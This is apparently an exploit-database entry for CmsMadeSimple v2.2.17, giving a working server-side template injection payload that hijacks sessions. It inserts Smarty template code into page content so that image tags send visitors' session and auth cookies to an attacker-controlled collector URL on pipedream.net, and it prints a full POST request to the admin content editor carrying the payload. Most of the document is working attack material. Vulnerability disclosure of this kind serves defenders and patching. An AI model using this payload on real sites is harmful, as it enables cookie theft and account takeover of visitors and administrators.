CmsMadeSimple v2.2.17 – session hijacking via Server-Side Template Injection (SSTI)
#Exploit Title: CmsMadeSimple v2.2.17 - session hijacking via Server-Side Template Injection (SSTI) #Application: CmsMadeSimple #Version: v2.2.17 #Bugs: SSTI #Technology: PHP #Vendor URL: https://www.cmsmadesimple.org/ #Software Link: https://www.cmsmadesimple.org/downloads/cmsms #Date of found: 13-07-2023 #Author: Mirabbas Ağalarov #Tested on: Linux 2. Technical Details & POC ======================================== Steps: 1. Login to test user account 2. Go to Content Manager 3. Add New Content 4. set as ''' {$smarty.version} {{7*7}} {$smarty.now} {$smarty.template} <img src=YOU-SERVER/{$smarty.cookies.CMSSESSID852a6e69ca02}> <img src=YOU-SERVER/{$smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1}> <img src=YOU_SERVER/{$smarty.cookies.__c}> ''' to conten_en section. 5.If any user visit to page, Hacker hijack all cookie payload: %3Cp%3E%7B%24smarty.version%7D+%7B%7B7*7%7D%7D+%7B%24smarty.now%7D+%7B%24smarty.template%7D+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.CMSSESSID852a6e69ca02%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.__c%7D%22+%2F%3E%3C%2Fp%3E POC Request POST /admin/moduleinterface.php?mact=CMSContentManager,m1_,admin_editcontent,0&;__c=1c2c31a1c1bff4819cd&;m1_content_id=81&showtemplate=false HTTP/1.1 Host: localhost Content-Length: 988 sec-ch-ua: Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 sec-ch-ua-platform: "" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: CMSSESSID852a6e69ca02=bq83g023otkn4s745acdnvbnu4; 34a3083b62a225efa0bc6b5b43335d226264c2c1=1e91865ac5c59e34f8dc1ddb6fd168a61246751d%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjoyLCJlZmZfdXNlcm5hbWUiOiJ0ZXN0IiwiaGFzaCI6IiQyeSQxMCRDQlwvWEIyNEpsWmhJNjhKQ29LcWplZXgyOUVXRDRGN2E1MTNIdUo2c3VXMUd1V3NKRTBNcEMifQ%3D%3D; __c=1c2c31a1c1bff4819cd Connection: close mact=CMSContentManager%2Cm1_%2Cadmin_editcontent%2C0&__c=1c2c31a1c1bff4819cd&m1_content_id=81&m1_active_tab=&m1_content_type=content&title=test&content_en=%3Cp%3E%7B%24smarty.version%7D+%7B%7B7*7%7D%7D+%7B%24smarty.now%7D+%7B%24smarty.template%7D+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.CMSSESSID852a6e69ca02%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.__c%7D%22+%2F%3E%3C%2Fp%3E&menutext=test&parent_id=-1&showinmenu=0&showinmenu=1&titleattribute=&accesskey=&tabindex=&target=---&metadata=&pagedata=&design_id=2&template_id=10&alias=test&active=0&active=1&secure=0&cachable=0&cachable=1&image=&thumbnail=&extra1=&extra2=&extra3=&wantschildren=0&wantschildren=1&searchable=0&searchable=1&disable_wysiwyg=0&ownerid=1&additional_editors=&m1_ajax=1&m1_apply=1 Poc Video: https://youtu.be/zq3u3jRpfqM |